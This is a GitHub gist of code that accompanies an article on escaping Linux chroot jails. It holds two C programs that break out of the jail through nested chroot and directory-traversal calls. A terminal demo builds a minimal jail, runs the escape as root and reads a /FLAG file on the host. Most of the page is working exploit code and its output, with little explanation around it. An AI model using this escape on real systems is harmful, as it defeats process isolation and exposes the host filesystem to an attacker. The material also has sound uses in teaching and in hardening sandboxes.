Skip to content

Instantly share code, notes, and snippets.

@gauravssnl
Forked from FiloSottile/unchroot.c
Created August 19, 2022 11:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gauravssnl/48a06280732e14b4b1490bc32f7d883f to your computer and use it in GitHub Desktop.
Save gauravssnl/48a06280732e14b4b1490bc32f7d883f to your computer and use it in GitHub Desktop.
Code for my article about chroot jail escaping
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
int main() {
int dir_fd, x;
setuid(0);
mkdir(".42", 0755);
dir_fd = open(".", O_RDONLY);
chroot(".42");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
return execl("/bin/sh", "-i", NULL);
}
$ echo 1337 | sudo tee /FLAG
1337
$ mkdir chroot
$ cd chroot/
$ mkdir bin etc lib var home
$ ln -s lib lib64
$ ldd /bin/sh
linux-vdso.so.1 => (0x00007fffa9c83000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9a29106000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9a294d8000)
$ cp /bin/sh bin
$ cp /lib/x86_64-linux-gnu/libc.so.6 lib
$ cp /lib64/ld-linux-x86-64.so.2 lib
$ tree
.
├── bin
│ └── sh
├── etc
├── home
├── lib
│ ├── ld-linux-x86-64.so.2
│ └── libc.so.6
├── lib64 -> lib
└── var
6 directories, 3 files
$
$ cat > unchroot.c
#include <sys/stat.h>
#include <unistd.h>
int main() {
mkdir(".42", 0755);
chroot(".42");
chroot("../../../../../../../../../../../../../../../..");
return execl("/bin/sh", "-i", NULL);
}
$ gcc -static -o unchroot unchroot.c
$
$ sudo chroot . /bin/sh
# ls
/bin/sh: 1: ls: not found
# ./unchroot
# ls
bin dev home lib media proc sbin sys var
boot etc initrd.img lib64 mnt root selinux tmp vmlinuz
cdrom FLAG initrd.img.old lost+found opt run srv usr vmlinuz.old
# cat FLAG
1337
#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment